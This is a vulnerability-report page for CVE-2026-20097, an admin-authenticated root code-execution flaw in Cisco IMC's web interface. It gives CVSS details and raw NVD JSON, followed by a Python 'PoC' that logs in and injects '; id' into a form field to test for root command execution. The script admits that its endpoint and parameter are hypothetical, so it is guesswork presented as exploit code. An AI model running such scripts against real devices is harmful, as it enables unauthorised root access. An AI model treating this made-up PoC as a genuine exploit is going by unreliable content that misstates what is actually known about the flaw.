Security Vulnerability Report
中文
CVE-2026-20097 CVSS 6.5 MEDIUM

CVE-2026-20097

Published: 2026-04-01 17:28:31
Last Modified: 2026-04-03 16:11:11

Description

A vulnerability in the web-based management interface of Cisco IMC could allow an authenticated, remote attacker with admin-level privileges to execute arbitrary code as the root user. This vulnerability is due to improper validation of user-supplied input to the web-based management interface. An attacker could exploit this vulnerability by sending crafted HTTP requests to an affected device. A successful exploit could allow the attacker to execute arbitrary code on the underlying operating system as the root user. Cisco has assigned this vulnerability a SIR of High rather than Medium as the score indicates because additional security implications could occur when the attacker becomes root.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Cisco IMC (具体受影响版本请参考Cisco安全通告cisco-sa-cimc-cmd-inj-3hKN3bVt)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_ip = "<TARGET_IP>" base_url = f"https://{target_ip}" login_url = f"{base_url}/login" exploit_url = f"{base_url}/cgi-bin/potential_vulnerable_endpoint" # Admin credentials (Required for PR:H) username = "admin" password = "admin_password" # Create a session to handle cookies session = requests.Session() session.verify = False # Ignore SSL certificate warnings for self-signed certs # Step 1: Authenticate to the Web Interface print(f"[*] Attempting to login to {target_ip}...") payload = { "username": username, "password": password } try: response = session.post(login_url, data=payload) if response.status_code == 200 and "dashboard" in response.text: print("[+] Login successful!") # Step 2: Craft the malicious HTTP request # The vulnerability is due to improper input validation. # We inject a command separator (e.g., ;) followed by a system command. # Example: Executing 'id' or 'whoami' to verify code execution. malicious_command = "; id" # Construct the payload for the vulnerable parameter # Parameter name is hypothetical as it is not specified in the description exploit_data = { "user_input": "valid_value" + malicious_command } print(f"[*] Sending crafted request to {exploit_url}...") # Step 3: Send the exploit request exploit_response = session.post(exploit_url, data=exploit_data) # Step 4: Check for command execution output in the response if "uid=0(root)" in exploit_response.text: print("[!] Exploit successful! Root command executed.") print("[+] Response snippet:") print(exploit_response.text[:500]) else: print("[-] Exploit failed or output not visible in response.") print(exploit_response.text[:500]) except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20097", "sourceIdentifier": "[email protected]", "published": "2026-04-01T17:28:30.733", "lastModified": "2026-04-03T16:11:11.357", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web-based management interface of Cisco IMC could allow an authenticated, remote attacker with admin-level privileges to execute arbitrary code as the root user.&nbsp;This vulnerability is due to improper validation of user-supplied input to the web-based management interface. An attacker could exploit this vulnerability by sending crafted HTTP requests to an affected device. A successful exploit could allow the attacker to execute arbitrary code on the underlying operating system as the root user.\r\n\r\nCisco has assigned this vulnerability a SIR of High rather than Medium as the score indicates because additional security implications could occur when the attacker becomes root."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cimc-cmd-inj-3hKN3bVt", "source": "[email protected]"}]}}